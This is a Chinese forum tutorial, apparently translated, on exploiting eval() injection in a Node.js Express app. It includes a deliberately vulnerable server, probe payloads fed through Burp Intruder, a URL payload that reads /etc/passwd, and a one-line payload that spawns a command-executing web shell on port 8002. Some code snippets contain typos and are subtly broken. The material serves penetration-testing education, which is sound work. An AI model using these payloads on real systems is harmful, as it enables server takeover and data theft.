教你通过Node.js漏洞完成渗透测试

本篇文章较为详细的讲述了通过node.js的已知漏洞来完成渗透测试的过程，介绍了node.js存在的漏洞可以在多种工具下的不同利用方式。因为我认为会对论坛部分web安全新手有所帮助，所以整理到论坛中。

PentestingNode.js Application : Nodejs Application Security

原文地址：http://www.websecgeeks.com/20...

由prison翻译整理，首发i春秋。

引言：

由于原文地址在墙外，所以做下简介：
本篇文章较为详细的讲述了通过node.js的已知漏洞来完成渗透测试的过程，介绍了node.js存在的漏洞可以在多种工具下的不同利用方式。因为我认为会对论坛部分web安全新手有所帮助，所以整理到论坛中。难度系数：三颗星。

关于Node.js的介绍我们这里就不再赘述。

今天我们主要讲下Node.js的一些可以对渗透测试工作有一些帮助的漏洞。为了更好地让大家理解，我会对其中一些代码进行分

析。

1 你可以很容易的从网络上下载并安装Node.js到自己的电脑

2 在我们的事例中我使用了Node.js的一个框架Express，你可以把它安装到自己的电脑

创建一个目录，我这里命名为nodeapp

$ mkdir nodeapp
$ cd nodeapp

用npm init 命令为你的项目创建一个package.json文件。

这个命令会询问你一些像是项目名称，版本之类的问题，你可以一直按回车键选择默认。

现在在nodeapp目录下安装Express

$npm install expres –save

你也可以选择临时安装express，而不将它添加到依赖项列表中。

$npm install express

Eval()函数很危险远程代码执行（利用服务器端JavaScript注入）【JavaScript任意代码执行】

eval()是一个危险的函数，任何输入都可以通过它执行，形成一种远程命令执行场景，程序可以越权执行。

示例1：

var x = 2;
var y = 2;
var z = '10'';
eval('x + y + 6'); // returns 10
eval(z); // returns 10

Both eval() will return value 10.

示例2：

ar express = require('express');[/align]var app = express();
app.get('/', function(req, res) {
var resp=eval("("+req.query.input+")");
res.send('Output'+resp);
});
app.listen(8001);

[codeexe.js]

如你所见，显然eval函数从输入参数中获取输入，而不需要转义或过滤直接传递给eval()。这是一个很常见的典型的例子。

用户可以通过将代码传递给输入参数来利用这个漏洞。

首先我们启动我们的js代码

node filename.js
node codexe.js

如果你启动时看到一些错误，可能是其他正在运行的服务占用了端口，所以首先我们要用ps命令找到这些服务。

kill掉pid为2959的codexe.js

我们接着启动js代码

首先，我们将一个简单的用户输入传递给我们代码中的输入参数:http://127.0.0.1:8001/？4444441111

我们用一些关于Node.js代码执行的payload

process.arch
process.argv
process.argv0
process.channel
process.cwd()
process.geteuid()
process.getegid()
process.getgroups()
process.pid
process.platform
process.version

丢到Burp的Intruder：

导入我们的payload

从爆破结果来看，我们可以发现其中一个叫做process.cwd()返回了当前目录值”/Users/narendrabhati/Node JS Pentesting”

确认之后，我们就可以在文件中做一些我们想做的坏事啦~

http://127.0.0.1:8001/?input=...‘fs’).readFileSync(‘/etc/passwd’).toString())

现在我们搞一个简单的webshell，像PHP shell那样婶儿的，你可以在其中执行/注入系统命令。

下面的payload将会启动一个新的服务器，或者在八秒后你可以在8002端口上找到一个新的node.js应用。让我们搞点花样出来：

setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)